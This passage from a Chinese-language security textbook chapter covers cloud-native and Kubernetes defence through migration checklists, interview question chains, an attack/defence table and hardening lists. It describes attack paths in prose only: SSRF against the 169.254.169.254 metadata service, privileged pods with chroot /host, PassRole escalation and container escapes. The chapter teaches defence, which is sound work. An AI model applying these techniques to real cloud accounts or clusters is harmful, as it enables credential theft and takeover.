     - ★ 控制面的安全配置云厂商帮你做了(etcd 加密、API Server 加固)
     - 控制面的补丁有人打
   ★★ 自建 K8s 的安全负担很重,除非有强需求,否则不要自建

② ★ 网络规划(★ 这一步决定了后面 NetworkPolicy 能不能做)
   - CNI 必须选【支持 NetworkPolicy】的(★ Flannel 不支持!)
     推荐:Cilium(功能最强,有 Hubble 可观测)或 Calico
   - 规划好网段(Pod CIDR / Service CIDR / 节点网段)
   - ★ 是否要公网 API Server?建议不要(用 VPN / 专线)

③ ★ 镜像仓库规划
   - 用私有仓库(云厂商的 ACR/ECR 或 Harbor)
   - ★ 规划好镜像命名规范(后面 Kyverno 策略要用)
   - 是否要镜像签名(cosign)?★ 建议要

④ ★ 命名空间规划(★ 这是权限和隔离的基础)
   建议按【环境 + 业务线】划分:
     prod-payment / prod-order / staging-payment / dev-...
   ★ 不要只分 prod / test(太粗,隔离不了)
   ★★ 每个命名空间的 PSA 级别要提前定好
       (prod = restricted,dev = baseline,kube-system = privileged)

⑤ ★ 身份规划
   - 人:接入公司 SSO / OIDC(★ 不要用 kubeconfig 分发)
   - 应用:每个应用独立的 ServiceAccount
   - 云资源:IRSA / Workload Identity(★ 不用 AK/SK)

★ 迁移中(★ 随着业务上来逐步加固)

第一批业务(★ 拿一个不重要的业务先试):
  ☑ SA 独立 + automountServiceAccountToken: false
  ☑ PSA 设为 audit 模式,观察会拦什么
  ☑ 部署 External Secrets / Vault(Secret 不从 YAML 来)
  ☑ 镜像扫描接入 CI

第二批(跑通后):
  ☑ PSA 切 enforce=baseline
  ☑ NetworkPolicy:每个命名空间默认拒绝 Ingress
  ☑ ★ 上 Kyverno(公司规范:标签、镜像仓库、资源限制)
  ☑ ★ 审计日志开启 + 接入 SIEM

第三批(稳定后):
  ☑ PSA 切 enforce=restricted(★ 需要改造不合规的 Pod)
  ☑ NetworkPolicy 收 Egress
  ☑ ★ 上 GitOps(ArgoCD + AppProject 严格限制)
  ☑ ★ 上 Falco(运行时检测)
  ☑ 镜像签名验证

★ 迁移后(持续)

☑ 定期跑 kube-bench(CIS 基线)
☑ 定期跑 RBAC 审计(rbac-tool)
☑ ★ 定期跑攻击路径分析(P0 那个思路)
☑ 应急响应预案 + 演练(★ K8s 的应急流程和虚机完全不同,见 J25)
☑ 团队培训(★ K8s 的安全模型和虚机差异很大,开发需要重新学)

★ 三个特别提醒(加分)

① ★★ 【开发团队的认知转变是最难的】
   虚机时代:开发不用关心安全(有运维管防火墙、管补丁)
   K8s 时代:★ 开发写的 YAML 直接决定了安全 posture
     - securityContext 写不写?
     - SA 用哪个?
     - 资源限制设不设?
   ★★ 所以:必须培训 + 用工具强制(Kyverno 自动注入默认值)
   ★ 我的经验:光靠文档没用,必须让"安全的做法"成为"最简单的做法"

② ★ 【不要把虚机的安全习惯带过来】
   - ✗ "给个 root 方便调试"      → K8s 里 = 容器逃逸的入口
   - ✗ "先给管理员权限,后面再收" → K8s 里 = 集群沦陷
   - ✗ "日志打全一点方便排查"     → K8s 里 = 密钥进日志
   - ✗ "内网是安全的"             → K8s 里 = 所有 Pod 默认互通

③ ★★★ 【先在测试环境把安全配置跑通,再上生产】
   尤其是 PSA 和 NetworkPolicy ——
   ★ 这两项配错了会导致业务大面积不可用
   ✅ 必须:测试环境验证 → audit 模式观察 → 再 enforce

10.8.4 追问链(J28 ~ J30)

什么是追问链:面试官会顺着你的回答一直往下问, 直到你答不上来。这里模拟三条最常见的追问链。


J28(★★★★)追问链:云 IAM 十连问

Q1: 云 IAM 比 Linux 权限危险在哪?
A:  四点 —— ① 爆炸半径大(一个 AK = 整个账号)
    ② 凭据是字符串会流窜(代码/日志/镜像层)
    ③ 权限是五层叠加,人脑算不清
    ④ ★ 权限组合会产生提权(1+1 > 2)

Q2: 那怎么判断一个角色到底能干什么?
A:  五层:SCP → 权限边界 → 会话策略 → 身份策略 → 资源策略
    ★ 默认拒绝、显式 Deny 一票否决
    ★ 同账号内身份策略与资源策略是【并集】;跨账号是【交集】
    工具:IAM Policy Simulator / PMapper / Cloudsplaining

Q3: 最小权限怎么做?
A:  四步闭环 ——
    ① 看实际用了什么(generate-service-last-accessed-details)
    ② 用 CloudTrail 生成精确策略
    ③ ★ 先双策略并行 30 天,确认 0 AccessDenied 再摘旧的
    ④ 固化到 CI 防止回潮
    ★ 第 ③ 步是最容易失败的地方(大家都想一步到位,结果事故一次)

Q4: 最小权限有什么困难?
A:  三个现实困难 ——
    ① 有些服务只有 ReadOnly/FullAccess 两档
       → 应对:用 Resource ARN 精确限制
    ② 动态资源名写不进策略
       → 应对:用策略变量 ${aws:userid}
    ③ 业务变化快,权限跟不上就被永久放宽
       → 应对:给策略加"过期时间"标签,到期告警(★ 组织纪律)

Q5: IMDS 是什么?为什么危险?
A:  169.254.169.254,本机才能访问的自助查询台。
    ★ 危险在于和 SSRF 组合:一个 GET 就能拿到云凭据。
    ★ AWS/阿里云默认可被简单 SSRF 打到;
      GCP/Azure 需要特殊请求头,天然更安全。

Q6: IMDSv2 能 100% 防住 SSRF 吗?
A:  ★ 不能。如果攻击者能做完整的带外 SSRF(能发 PUT、
    能拿到响应、能设请求头),依然可以。
    ★ 但它把门槛从"小学生"提高到"博士生"。
    ★★ 真正的防线是多层:IMDSv2 + hop limit + NetworkPolicy
        + 应用层 SSRF 防护 + 最小权限。

Q7: 什么是混乱代理人?ExternalId 是密钥吗?
A:  有权限的程序搞错了"替谁做事"。
    ★★ ExternalId 【不是】密钥(会出现在 CloudTrail 里),
        它的作用是【区分客户】。
    ★ 安全的前提:每个客户独立的随机值 + Vendor 按登录客户查表取。

Q8: OIDC 联邦配置的头号错误是什么?
A:  ★★ 只写了"信任 GitHub 的 OIDC 提供商",
       没写 sub 条件(信任哪个仓库)
    → 攻击者建个公开仓库就能 AssumeRole
    ✅ 必须加 sub: repo:<owner>/<repo>:<上下文>
    ★ 建议用 environment 而不是分支名(分支名能改,环境要审批)

Q9: 云上提权和传统提权有什么不同?
A:  ★ 传统靠漏洞,云上靠【正常功能的组合】,不需要任何漏洞。
    四类:改自己权限 / PassRole 借用 / 其他服务侧身 / 数据访问间接提权。
    ★ PassRole 是"提权之王"(业务需要 + 危险不明显 + 防护易漏)。

Q10: 怎么检测提权?
A:  ★ 工具:PMapper(算提权路径)、Cloudsplaining(报告)、
       Prowler(合规)
     ★ 检测规则(CloudTrail + Athena):
       - PassRole 到 Admin 角色(★ 最重要)
       - 给自己附加 AdministratorAccess
       - 创建 IAM 用户 / AK(持久化信号)
       - 修改 Lambda 函数代码/配置

J29(★★★★)追问链:K8s 安全十连问

Q1: K8s 集群默认最大的安全问题是什么?
A:  ★★ 网络默认全通(任何 Pod 能访问任何 Pod,跨命名空间也通)
    + 每个 Pod 默认挂载 SA token
    + RBAC 默认允许(没有默认拒绝)

Q2: 攻破 etcd 意味着什么?
A:  ★★★ 整个集群的完整沦陷 —— 所有数据(含所有 Secret)都在里面。
    防护:客户端证书认证 + 静态加密(KMS)+ 防火墙只允许 apiserver

Q3: 有了 pods: create 权限,能做什么?
A:  ★★★ 能创建特权 Pod(hostPID + privileged + hostPath /)
    → chroot /host = 节点 root
    → 节点上有所有 Pod 的 SA token + 节点角色云凭据
    → ★ 集群沦陷 + 可能横移到云账号

Q4: 那怎么防?
A:  ★★★ RBAC 防不住!RBAC 只能限制"能不能创建 Pod",
        管不了"创建什么样的 Pod"。
    ★ 唯一有效的是【准入控制器】:PSA / Kyverno / Gatekeeper
    ★ 这是 K8s 架构上的分工(授权阶段还没解析资源内容)

Q5: Secret 是加密的吗?
A:  ★ 不是,只是 base64(1 秒就能解)。
    防护四选一:① IRSA(不用密钥)② Vault 动态凭据
    ③ External Secrets ④ etcd KMS 静态加密
    ★ 坑:开启加密不会自动加密已有 Secret,必须 replace 一次

Q6: 为什么 default SA 不能绑高权限?
A:  ★ 该命名空间里【每一个没指定 SA 的 Pod】都会用它
    → 攻击者跑一个最普通的 Pod 就是集群管理员

Q7: 容器逃逸有哪些手法?
A:  六种 —— 特权容器 / docker.sock / hostPath / 危险 capabilities
    / hostPID+hostNetwork / 内核漏洞
    ★ 内核漏洞导致的逃逸,配置层面挡不住(只能打补丁或换隔离方案)

Q8: 四种隔离方案怎么选?
A:  普通容器(99% 场景)→ gVisor(不可信代码)→ Kata(多租户/金融)
    → ★ User Namespace(2026 年最值得关注,成本最低)
    ★ 性价比最高的一条:readOnlyRootFilesystem: true

Q9: NetworkPolicy 有什么坑?
A:  ★★★ 头号坑:CNI 可能不支持(Flannel 不支持,而且【静默失效】)
    其他:忘放通 DNS、Ingress/Egress 独立、ipBlock 不能选 Pod、
    健康检查会被挡、无日志
    ★★ 落地顺序:先 Ingress 拒绝 → 观察 → 再收 Egress

Q10: 如果只能做五件事,你做哪五件?
A:  ① automountServiceAccountToken: false(挡住攻击链第一步)
    ② PSA = restricted(挡住特权 Pod / 节点接管)
    ③ NetworkPolicy 默认拒绝 Egress(挡住横移、外联、挖矿)
    ④ 最小权限 RBAC + 不给 default SA 额外权限(限制爆炸半径)
    ⑤ 审计日志 + Falco(能查清楚 + 实时告警)

J30(★★★★)追问链:云原生安全建设八连问

Q1: 我们公司刚上云,安全从哪开始?
A:  ★ 从【免费的、不花时间的】开始:
    ① 开启云厂商的安全体检(Security Hub / 云安全中心)
    ② 开启审计日志(★ 最重要,没日志出事没法查)
    ③ 存储桶禁止公开(四条 Block Public Access 全开)
    ④ 关闭 0.0.0.0/0 的数据库/Redis/管理端口
    ⑤ 所有 IAM 用户开 MFA
    ⑥ 开启账单告警
    ★★ 这六项【几乎不花钱】,能挡掉 80% 的真实攻击

Q2: 要不要买商业安全平台(CNAPP)?
A:  ★ 小团队(<20 人)不要买:
      Prowler + Trivy + Falco + PMapper 开源组合能覆盖 80%,成本 0
    ★ 中大型 + 有合规要求才考虑,因为:
      ★★ CNAPP 的真正价值是【跨层关联分析】
      ("公网暴露的机器上跑着有漏洞的镜像,且它的角色能读生产库")
      → 单点工具做不到这种关联

Q3: 安全扫描报了几百个问题,开发不改,怎么办?
A:  ★★ 用【基线机制】先止血:
      checkov --create-baseline → CI 只报新问题
      → 保证"不再变坏",存量分期清理
    ★ 核心心法:第一目标不是"消灭所有问题",而是"不再变坏"
    ★ 沟通上:只对 CRITICAL/HIGH 设门禁,中低危只警告

Q4: 怎么衡量安全做得好不好?
A:  ★ 不要只报"发现了多少问题"(这是虚荣指标)
    建议用这几个指标:
      ① ★ 平均修复时间(MTTR)—— 比数量重要
      ② ★★ 攻击路径数量(最关键的指标)
         "从外网到核心数据,有几条路?每条路上有几道闸?"
      ③ 覆盖率:多少资产开了审计?多少集群上了 PSA?
      ④ ★ 检测能力:模拟攻击能不能被发现?(★ 做紫队演练)

Q5: 安全团队和业务团队冲突怎么办?
A:  ★ 我的原则:★ 让正确的事更容易做
     - 不要写"禁止xxx"的文档,要提供"默认安全"的模板/脚手架
     - 用工具自动注入默认值(Kyverno mutate),开发什么都不用做
     - ★ 安全门禁要快(秒级),不要让人等
    ★★ 一个判断标准:
       如果业务绕过安全流程比走安全流程更省事,
       那一定是【安全流程设计得有问题】,不是业务的问题

Q6: 出了事故,最重要的是什么?
A:  ★★ 不是"找出是谁的锅",是【知道发生了什么】
    → 所以第一优先级永远是:★ 有日志吗?日志保住了吗?
    ★ 云上 IR 三个特殊点:
      ① 不能拔网线(改安全组 + 吊销权限,保持实例运行)
      ② 凭据吊销要在 IAM 层(Deny All + 吊销会话)
      ③ ★ 取证对象是审计日志(主机可能已经没了)
    ★ 复盘原则:【无责复盘】—— 否则没人敢说真话

Q7: 一个人做安全,怎么落地?
A:  ★ 【优先做"杠杆率"高的事】
    杠杆率最高(一次投入,长期生效):
      ① 审计日志 + 对象锁保护(★ 保底,出事能查)
      ② SCP / 组织级策略(★ 一次性配好,之后自动生效)
      ③ CI 里的扫描门禁(★ 拦在源头)
      ④ GitOps(★ 自动漂移修复)
      ⑤ 培训 + 模板(★ 让开发自己写对)
    杠杆率低(要持续投入人力的):
      - 人工渗透测试(一年一次就够)
      - 人工代码审计(优先做核心模块)
      - 人工看告警(★ 能自动响应就自动)

Q8: 未来 2~3 年,云原生安全最大的变化会是什么?
A:  ★ 我的判断(三个方向):
    ① ★★ AI 工作负载会成为新的主战场
       现在大部分公司还没意识到:
       Jupyter 是公开 RCE、模型文件能 RCE、GPU 隔离很弱
       → ★ 这一块的觉醒会像 2017 年的"容器安全"一样

    ② ★★ 身份会彻底取代网络成为边界
       零信任 + 服务网格 + 短期凭据(SPIFFE/SPIRE)
       ★ 长期密钥会像"明文传输密码"一样被视为不可接受

    ③ ★ 供应链安全的自动化(SBOM + 签名 + 策略)
       法规(如美国的 EO 14028、中国的关基条例)在推动
       → SBOM 会变成和"测试报告"一样的交付物

    ★ 但【不变的是】:配置错误依然是第一大原因
      → ★★ 所以基础功(最小权限、审计日志、资产管理)
         永远比追新概念重要

10.9 第十章小结

这一章讲的东西,说穿了就一句话:当“服务器”不再是一台你能摸到的机器,“安全”这门手艺就得换一套打法。 前面九章,你学到的思路大多是“找到一台主机 → 找漏洞 → 打进去 → 提权 → 横向”。这套思路在云原生时代 很多环节失效了:你可能没有主机可以登录(Serverless)、没有内网可以横向(微服务)、没有密码可以爆破(身份联邦)。 这一章就是要帮你把脑子里的“攻防地图”重新画一遍。

10.9.1 五条核心认知

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认知一:云安全的第一性原理是【责任共担】,不是【上云就安全】

   生活类比:你把东西搬进商场里的一间铺面。
     商场负责:大楼结构、消防、保安巡逻、水管不漏水(= 云厂商负责底层)。
     你自己负责:铺面里的货架、收银台、门锁、自己的钱箱(= 你负责云上的配置)。
     商场再安全,你把门锁密码贴在门上,照样被偷。

   面试话术:"云厂商负责'云的安全',你负责'云里的安全'。
             IaaS 你责任最大,SaaS 你责任最小,但【配置错误】永远是双方都没法替你兜底的那一块。"

   反直觉点:★ 云厂商拿到了各种"安全合规认证"(等保、SOC2、ISO),
            但这些认证管的是【它自己的机房】,不是【你租用的那台虚机上的配置】。
            你照样可能因为一条错误的桶策略,把公司数据公开到互联网。

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认知二:云上的"边界"从【网络】转移到了【身份】

   传统时代:防火墙、内网、DMZ,靠"网络隔离"圈出一块安全区。
   云原生时代:微服务之间直接内网互调,没有防火墙挡在中间;
            服务之间靠【身份(IAM/SA/RBAC)】来认"你是谁、你能干什么"。

   结论:★ 在云上,IAM 权限就是新的防火墙。
        "谁有权限创建密钥""谁有权限改桶策略",这些配置错了,比网络隔离被绕过更致命。

   面试话术:"以前攻击者要打穿防火墙进内网;现在攻击者只要拿到一个权限过大的
             访问密钥,就等于直接站在了内网里。"

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认知三:【配置错误】是云上数据泄露的第一大元凶,不是 0day

   数据支撑(记忆要点):几乎所有云厂商的官方报告都指向同一结论——
     绝大多数云安全事故的根因是"配置错误 + 权限过大",而不是"被 0day 打穿"。

   三类高频配置错误(本章都展开过):
     ① 对象存储桶公开(10.6.2)—— 把公司备份、用户照片、数据库 dump 公开到互联网
     ② IAM 通配符 / 给 admin(10.2.2)—— 一个 `s3:*` 就能拖走整个桶
     ③ 安全组 0.0.0.0/0 + 数据库端口外开(10.6.3)—— Redis/Mongo 未授权直接连

   一句话:★ 云上攻击者很少"硬打",他们更多是【扫描公开桶、搜 GitHub 密钥、试默认口令】。

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认知四:元数据服务(169.254.169.254)是云上最被低估的"隐藏后门"

   它是什么(白话):每台云主机里都有个内置"身份证查询窗口",应用问它
     "我是什么角色、我的临时密钥是什么",它就答。SSRF 一旦能打到这个地址,
     就能偷到这台机器所属角色的全部临时密钥。

   为什么可怕:它不需要你"爆破密码",也不需要"提权",
     只要一个【能发 HTTP 请求的 SSRF】就够(10.2.3 有完整攻击链)。

   防御(三条都要做):
     ① 换 IMDSv2(要 PUT token 才能读,防简单 SSRF)
     ② hop limit 设 1(防止从容器里跳出来读)
     ③ 应用层 SSRF 白名单(is_safe_url / safe_fetch,本 10.2.3 有代码)

   诚实提醒:★ IMDSv2 不是 100% 免疫 SSRF(DNS rebinding 等高级手法仍能过),
            但它是"把攻击成本拉高一个数量级"的必做项。

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认知五:云上应急响应"物理受限",检测与遏制的手段也变了

   传统 IR:拔网线、关机、镜像硬盘、取证内存。
   云上 IR:★ 你"拔不了网线"(那是云厂商的),
            你靠的是【吊销身份 + 审计日志 + 打快照】。

   三个根本差异(10.7.3 展开):
     ① 遏制 = 在 IAM 层吊销凭据 / 加 Deny 策略,而不是断网
     ② 取证对象 = CloudTrail/审计日志,而不是硬盘
     ③ 时间 = 用 `aws:TokenIssueTime` 判断"这条密钥是什么时候签发的",把被盗前签发的会话一并吊销

   黄金 15 分钟:`cloud_ir_containment.sh`(10.7.3 有完整脚本)—— 先 Deny All 止血,再慢慢查。

10.9.2 攻防速查卡:云原生攻击手法 × 防御措施

# 攻击手法 危害 一句话防御 详参
1 Serverless 事件注入(HTTP 头/消息体/存储事件当输入) 在函数内执行未授权逻辑 把“事件”当不可信输入,做校验 10.1
2 冷启动状态残留(全局变量缓存敏感数据) 跨请求串数据 不信任全局变量,用完即清 10.1
3 账单 DoS(死循环/超大输入烧钱) 财务损失 并发上限 + 超时 + 成本告警 10.1
4 IAM 通配符 / 直接给 admin 拖库、删桶、提权 最小权限四步闭环 10.2
5 SSRF 打 IMDS 169.254.169.254 偷角色临时密钥 IMDSv2 + hop limit + SSRF 白名单 10.2
6 混乱代理人(Confused Deputy) 让别的服务替你背锅调 API ExternalId + 信任策略精确 sub 10.2
7 访问密钥泄露到 GitHub/日志 直接接管账号 gitleaks/trufflehog 扫描 + 双密钥轮换 10.2
8 PassRole 提权(有 iam:PassRole + 高权限角色) 一步升天 收紧 PassRole 的 Resource 10.2
9 IaC 硬编码密钥 / tfstate 明文 密钥入库、状态文件泄露 Checkov 扫描 + 远程后端 10.3
10 IaC 公开桶 / 0.0.0.0/0 / latest 标签 数据公开、网络全开 策略即代码 + 漂移检测 10.3
11 K8s RBAC 通配符 / pods:create 给攻击者 集群沦陷 rbac_audit.sh 审计 + 最小权限 10.4
12 ServiceAccount 默认挂 token 攻击者拿到 token 即可调 API 投影 Volume 短期 token + IRSA 10.4
13 Secret 只是 base64 etcd 明文、镜像层泄露 etcd 静态加密 + External Secrets 10.4
14 特权容器 / hostPath / 挂 docker.sock 容器逃逸 PSA restricted + RuntimeClass gVisor 10.4
15 cgroup release_agent 逃逸 逃到宿主机 root 禁特权 + 禁改写 cgroup 10.4
16 K8s 网络默认全通(无 NetworkPolicy) 横向随便走 默认 deny + 按需放行 10.4
17 服务网格 PERMISSIVE 模式 / 默认允许 mTLS 形同虚设 PeerAuthentication STRICT 10.5
18 Jupyter Notebook / 模型 pickle 反序列化 官方 RCE weights_only + safetensors 10.5
19 预签名 URL 泄露 / 无限期 桶被公开下载 短时效 + 精确 key + 限方法 10.6
20 Redis / Mongo 未授权访问 拖库、写计划任务 内网监听 + 密码 + 白名单 10.6
21 勒索软件删备份 数据全丢无法恢复 不可变备份(对象锁 COMPLIANCE) 10.6
22 云审计日志被关闭 / 只开管理事件 出事查不到 CloudTrail 多区域 + 数据事件 10.7

★ 用这张表做“对表自查”:左边每一行都是一条“如果我只做一件低成本的事,能挡掉多少攻击”的判断题。

10.9.3 云原生安全成熟度自评表(L0 ~ L4)

级别 状态 典型表现 你该做的下一件事
L0 裸奔 凭感觉、无规则 桶公开了不知道;密钥明文写在代码里;K8s 无 RBAC 无 NetworkPolicy 先做资产盘点 + 桶公开扫描
L1 起步 有意识、零散 会手动改权限;出事了才去查日志 落地最小权限 + 打开审计日志
L2 制度 有流程、能防 用 IaC 管理云资源;上线前跑 Checkov;有 RBAC 上漂移检测 + 准入控制(PSA/Kyverno)
L3 自动化 检测自动化 CSPM 扫描配置;Falco 检测运行时;日志进 SIEM 打通告警到工单,做定期演练
L4 自适应 左移 + 防御纵深 供应链签名 + SBOM + 不可变备份 + IR 剧本 做红蓝对抗,反查“检测盲区”

判断口诀:L0 是“不知道”,L1 是“知道了没做”,L2 是“做了没自动化”,L3 是“自动了没闭环”,L4 是“闭环了还能进化”。 多数团队卡在 L1→L2 之间,不是因为缺工具,而是因为没人把“最小权限”和“审计日志”当成发布门禁。

10.9.4 五份可直接使用的清单

清单一:云身份最小权限自查(10.2.2)

□ 每个应用/服务是否有独立身份?还是共用一把 root 密钥?
□ 是否还有 `*:*` 或 `s3:*` 这种通配符权限?
□ 是否有人图省事直接给了 AdministratorAccess / 管理员?
□ 是否还存在"内联策略"(inline policy),审计时容易漏?
□ 是否有"僵尸权限"(角色删了,密钥还挂在别处)?
□ 是否用了权限边界 / SCP 给整个账号兜底?

清单二:SSRF / IMDS 加固(10.2.3)

□ 是否已开启 IMDSv2(要求 PUT token 才能读元数据)?
□ 容器内 hop limit 是否设为 1?
□ 应用内所有"由用户提供的 URL"是否都走了白名单校验(is_safe_url)?
□ 是否对 DNS rebinding 做了二次解析校验?
□ 是否给元数据服务做了出站流量告警?

清单三:K8s 安全加固(10.4,可直接跑 k8s_security_check.sh)

□ RBAC:还有 cluster-admin 绑给普通 SA 吗?
□ SA:是否还默认挂载 token?是否用了投影 Volume 短期 token?
□ Secret:etcd 是否开了静态加密?Secret 是否还硬编码在 YAML?
□ 准入:是否开了 PSA restricted?是否部署了 Kyverno 兜底策略?
□ 网络:是否默认 deny?关键服务是否排除 169.254.169.254?
□ 运行时:是否还有特权容器 / hostPath / 挂 docker.sock?
□ 基线:是否跑过 kube-bench?是否部署了 Falco?

清单四:对象存储防泄露(10.6.2)

□ 所有桶是否默认私有(Block Public Access 是否开启)?
□ 是否跑过 s3_public_audit.sh 的六项扫描?
□ 预签名 URL 是否短时效 + 精确 key + 限方法 + 服务端限速?
□ 是否开启了版本控制 + MFA 删除,防勒索删备份?
□ 关键桶是否做了跨账号/跨区域 3-2-1 备份?

清单五:云上应急响应黄金 15 分钟(10.7.3)

0~2 分钟:确认告警、锁账号、改密码、禁密钥(Deny,先别删)
2~5 分钟:用 aws:TokenIssueTime 判断"哪些会话是泄露之后签发的",一并吊销
5~8 分钟:开 CloudTrail 拉全量审计,冻结证据(快照)
8~12 分钟:定位泄露源(GitHub/日志/代码),隔离受影响的桶和主机
12~15 分钟:写简报,通知相关方,保留日志,进入复盘

10.9.5 五句话记忆法

一句话记【责任共担】:商场管结构,铺主管门锁;云管底层,你管配置。

一句话记【身份边界】:云上防火墙不在了,IAM 权限就是新防火墙。

一句话记【配置错误】:云攻击者不硬打,他们扫公开桶、搜密钥、试默认口令。

一句话记【元数据服务】:169.254.169.254 是每台云主机肚里的"身份证窗口",SSRF 打它就能偷密钥。

一句话记【云上应急】:拔不了网线,那就吊销身份 + 看审计日志 + 打快照。

10.9.6 本章与前后章节的关系

                          ┌─────────────────────────────────────┐
                          │  第十一章 Web3 与智能合约安全        │
                          │  (继续扩展攻击面:区块链、合约)     │
                          └─────────────────────────────────────┘
                                        ▲
  前九章(经典攻击面)                  │  "边界消失"之后的新世界
  ┌──────────────────────┐   ┌──────────────────────────────────┐
  │ 第一~五章:应用层     │ → │  第十章:云原生与 Serverless       │
  │  (Web/API/移动/IoT) │   │  · Serverless 事件注入           │
  ├──────────────────────┤   │  · 云身份与权限(IAM/IMDS)       │
  │ 第六~七章:主机/内网  │   │  · IaC / K8s / 服务网格 / eBPF    │
  │ 第八~九章:DFIR/供应链│   │  · 云上数据、审计与应急           │
  └──────────────────────┘   └──────────────────────────────────┘
        │                                   │
        └───────────── 共同的地基 ───────────┘
        (最小权限、审计日志、配置管理、纵深防御——这些基本功永远不变)

一句话串起来:前九章教你“在有服务器的世界里怎么攻防”,第十章教你“在服务器消失后的世界里怎么攻防”, 而它们共用同一套地基——最小权限、审计、配置管理、纵深防御。 无论技术怎么变,这四样基本功永远不会过时;这也是第十一章 Web3、第十二章数据合规要反复用到的骨架。